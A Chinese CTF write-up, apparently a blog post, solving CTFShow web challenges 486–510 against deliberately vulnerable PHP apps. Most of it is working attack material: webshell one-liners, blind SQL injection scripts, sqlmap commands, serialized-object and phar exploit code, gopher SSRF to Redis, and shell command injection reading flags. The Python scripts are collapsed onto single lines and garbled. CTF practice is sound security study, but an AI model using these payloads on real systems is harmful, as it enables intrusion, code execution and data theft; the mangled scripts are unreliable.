【Web】CTFSHOW 中期测评刷题记录(1)

2024-05-02 16:04

本文主要是介绍【Web】CTFSHOW 中期测评刷题记录(1),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

web486

web487

web488 

web489 

web490 

web491

web492

web493 

web494 

web495 

web496

web497

web498

web499 

web500 

web501

web502

web503 

web505

web506 

web507 

web508 

web509

web510 


web486

扫目录

初始界面尝试文件包含index.php,从报错知道其可以目录穿越读文件

 login.php是在./templates下的,而./flag.php与./templates均为web目录

payload:

?action=../flag

右键查看源码拿到flag 

web487

?action=../index

 存在sql注入

 没有waf,直接sqlmap跑出来

sqlmap -u "https://648b315b-136d-427f-b332-417f4865f221.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -T ctf -C ctf --dumps

web488 

?action=../index

关注点在templateUtil的静态方法上,从index.php一开始include的文件入手

?action=../render/render_class

?action=../render/cache_class

整体利用链很清晰

templateUtil::render($action) -> templateUtil::shade($templateContent,$arg)-> cache::create_cache($template,$cache) -> fileUtil::write('cache/'.md5($template).".php",$content)

注意到用./template/error.php中存在{{username}},可以用其cache来写马

重开个靶机再打入 

index.php?action=check&username=<?php eval($_POST[1]);?>&password=12345

注意到{{username}}已经成功被替换为php代码 

 <?php
echo md5("error");
//cb5e100e5a9a3e7f6d1fd97512215282

再访问./cache/cb5e100e5a9a3e7f6d1fd97512215282.php

命令执行拿flag

web489 

和上题一样,在render处打入模板覆盖,用cache写马,但这次只能利用index

配合变量覆盖,让if永真,并让username为一句话木马

/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select%201;

 访问./cache/6a992d5529f459a44fee58c733255e86.php,命令执行拿flag

<?php
echo md5("index");
//6a992d5529f459a44fee58c733255e86

 

web490 

还是模板注入./templates/index

/index.php?action=check&username=' union select '<?php eval($_POST[1]);?>' --+&password=1

 直接去打会报语法错误

这时候重开下靶机再去读./templates/index.php,发现是给了提示的

我们模板注入的内容是被<?=?>所包裹,因此要改下payload

/index.php?action=check&username=0' union select "`cat /f*`"--+

 再访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web491

 

这下不能打模板注入了,但可以时间盲注 

import requestsstring = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-"
url = "http://bbfa1c77-aef0-4827-bd1f-6eafb26e85d0.challenge.ctf.show/index.php?action=check&username="
payload = ""
end = "&password=1"def exp():ret = ""for x in range(1, 50):for y in string:payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(x, y)try:req = requests.get(url + payload + end, timeout=2)except:ret += yprint(ret)if __name__ == '__main__':exp()

 

web492

关于select_one_array

  • 执行一个 SQL 查询。
  • 返回查询结果的第一条记录。
  • 将这条记录作为数组返回,其中每个数组元素代表一个数据库字段。

模板有一个自动参数绑定,传进去一个$user,获取$user[username]来替换

直接走变量覆盖,绕过查库过程

payload:

?action=check&username[]=1&password=1&user[username]=<?php eval($_POST[1]);?>

 访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web493 

 可以在$_COOKIE处打反序列化

?action=../render/db_class

读到可以利用的恶意类

  

 exp:

<?php
class dbLog{public $sql;public $content='<?php eval($_POST[1]);?>';public $log='yjh.php';
}
$a=new dbLog();
echo serialize($a);

在Cookie处打入user参数,成功反序列化 

访问./yjh.php,命令执行拿flag

web494 

不是很理解这段正则的意义何在(

和上题一样打

 flag在数据库里,连蚁剑

 拿到flag 

web495 

和上题一样

 拿到flag

web496

过滤了or

用变形的万能密码登录

' || 1=1#

?action=../api/admin_edit 

 存在查库的操作就会存在布尔盲注的空间

import requests
import string
url="http://f7a0f625-bcc6-43e5-b84d-ea086553a12b.challenge.ctf.show"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"'||1#","password":1})
flag=""
for i in range(9,70):print(i)for j in s:data={'nickname':str(i*2)+str(j), #不让nickname重复就行#'user[username]':"'||if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)#'user[username]':"'||if(substr((select  group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)'user[username]':"'||if(substr((select  flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)}r=sess.post(url+"/api/admin_edit.php",data=data)if("u529f" in r.text):flag+=jprint(flag)break

 

web497

和上题一样用万能密码登录

点击修改图像,尝试读靶机文件

 

 

 base64解码得flag

 

web498

万能密码登录

修改头像不能直接读/flag

尝试用gopher探测内网组件,结果靶机直接崩了😡,换dict测出来6379

dict://127.0.0.1:6379

 

gopherus生成payload,打入

 

 

访问./shell.php,命令执行拿flag

 

web499 

SSRF打不通了

与上一题相比多了一个系统配置的功能

 

?action=../api/admin_settings

读源码看到写文件操作 

直接在提交页面写马

 

访问./config/settings.php,命令执行拿到flag 

 

web500 

新功能

 

?action=../api/admin_db_backup 

shell_exec可以进行一个命令拼接,无回显RCE考虑写文件

 ;cat /f*>/var/www/html/flag.txt

 

web501

?action=../api/admin_db_backup

多了一段正则 

  • '^zip' 表示匹配以 "zip" 开头的字符串。
  • 'tar' 在任何位置匹配 "tar"。
  • 'sql$' 表示匹配以 "sql" 结尾的字符串。

 直接访问./api/admin_db_backup.php

payload:

db_format=;cat /f*>/var/www/html/tar.txt

 访问./tar.txt拿到flag

 

web502

这段正则检查字符串 db_format 是否严格等于 "zip"、"tar" 或 "sql",db_format是没戏唱了

但可以用$pre来拼接

payload:

db_format=zip&pre=1.txt;cat /f*>/var/www/html/tar.txt;

访问./tar.txt拿到flag

 

web503 

可以看到shell_exec因为md5的限制,所以不再能利用

多出了file_exists的利用点,可以用上面提到的恶意类打phar反序列化 

此外多了一个上传logo的功能,稳了

生成恶意phar包,后缀改png,直接上传

<?php
class dbLog{public $sql;public $content="<?php eval(\$_POST[1]);?>";public $log="yjh.php";
}$c=new dbLog();$phar = new Phar("ctfshow.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();?>

 

拿到文件上传路径 

 

访问./api/admin_db_backup.php

payload:

pre=phar:///var/www/html/img/3318913d41c2966fc209201c9132b81b&db_format=.png

访问./yjh.php,命令执行拿flag

web505

多了一个文件查看功能

 

 

 

读api/admin_file_view.php的源码

直接data伪协议来包含

payload:

debug=1&f=data://text/plain,user<?php system('tac /f*');?>

web506 

和上题一样

web507 

一样

web508 

把伪协议给waf掉了

找文件上传点写恶意文件

上传网站logo就可以

文件内容是user拼接命令执行

拿到文件上传路径

 

payload:

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web509

在logo上传处对文件内容有过滤

直接上最短一句话

user<?=`$_GET[1]`;

 

 拿到文件上传路径

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web510 

对上传文件内容更为严格,并且因为md5的原因,也不能走配置文件base64解密包含的奇技淫巧

于是走session文件包含,其开头还正好是user,完美利用

修改用户信息,写一句话 

 成功修改

 最终payload:

debug=1&f=/tmp/sess_92ke6l244el6unol1mei073gj2

这篇关于【Web】CTFSHOW 中期测评刷题记录(1)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/954631

相关文章

docker编写java的jar完整步骤记录

《docker编写java的jar完整步骤记录》在平常的开发工作中,我们经常需要部署项目,开发测试完成后,最关键的一步就是部署,:本文主要介绍docker编写java的jar的相关资料,文中通过代... 目录all-docker/生成Docker打包部署文件配置服务A的Dockerfile (a/Docke

MySQL使用EXISTS检查记录是否存在的详细过程

《MySQL使用EXISTS检查记录是否存在的详细过程》EXISTS是SQL中用于检查子查询是否返回至少一条记录的运算符,它通常用于测试是否存在满足特定条件的记录,从而在主查询中进行相应操作,本文给大... 目录基本语法示例数据库和表结构1. 使用 EXISTS 在 SELECT 语句中2. 使用 EXIS

Web服务器-Nginx-高并发问题

《Web服务器-Nginx-高并发问题》Nginx通过事件驱动、I/O多路复用和异步非阻塞技术高效处理高并发,结合动静分离和限流策略,提升性能与稳定性... 目录前言一、架构1. 原生多进程架构2. 事件驱动模型3. IO多路复用4. 异步非阻塞 I/O5. Nginx高并发配置实战二、动静分离1. 职责2

SpringBoot通过main方法启动web项目实践

《SpringBoot通过main方法启动web项目实践》SpringBoot通过SpringApplication.run()启动Web项目,自动推断应用类型,加载初始化器与监听器,配置Spring... 目录1. 启动入口:SpringApplication.run()2. SpringApplicat

基于Spring Boot 的小区人脸识别与出入记录管理系统功能

《基于SpringBoot的小区人脸识别与出入记录管理系统功能》文章介绍基于SpringBoot框架与百度AI人脸识别API的小区出入管理系统,实现自动识别、记录及查询功能,涵盖技术选型、数据模型... 目录系统功能概述技术栈选择核心依赖配置数据模型设计出入记录实体类出入记录查询表单出入记录 VO 类(用于

java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)

《java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)》:本文主要介绍java中pdf模版填充表单踩坑的相关资料,OpenPDF、iText、PDFBox是三... 目录准备Pdf模版方法1:itextpdf7填充表单(1)加入依赖(2)代码(3)遇到的问题方法2:pd

Python Web框架Flask、Streamlit、FastAPI示例详解

《PythonWeb框架Flask、Streamlit、FastAPI示例详解》本文对比分析了Flask、Streamlit和FastAPI三大PythonWeb框架:Flask轻量灵活适合传统应用... 目录概述Flask详解Flask简介安装和基础配置核心概念路由和视图模板系统数据库集成实际示例Stre

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

在Spring Boot中集成RabbitMQ的实战记录

《在SpringBoot中集成RabbitMQ的实战记录》本文介绍SpringBoot集成RabbitMQ的步骤,涵盖配置连接、消息发送与接收,并对比两种定义Exchange与队列的方式:手动声明(... 目录前言准备工作1. 安装 RabbitMQ2. 消息发送者(Producer)配置1. 创建 Spr

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho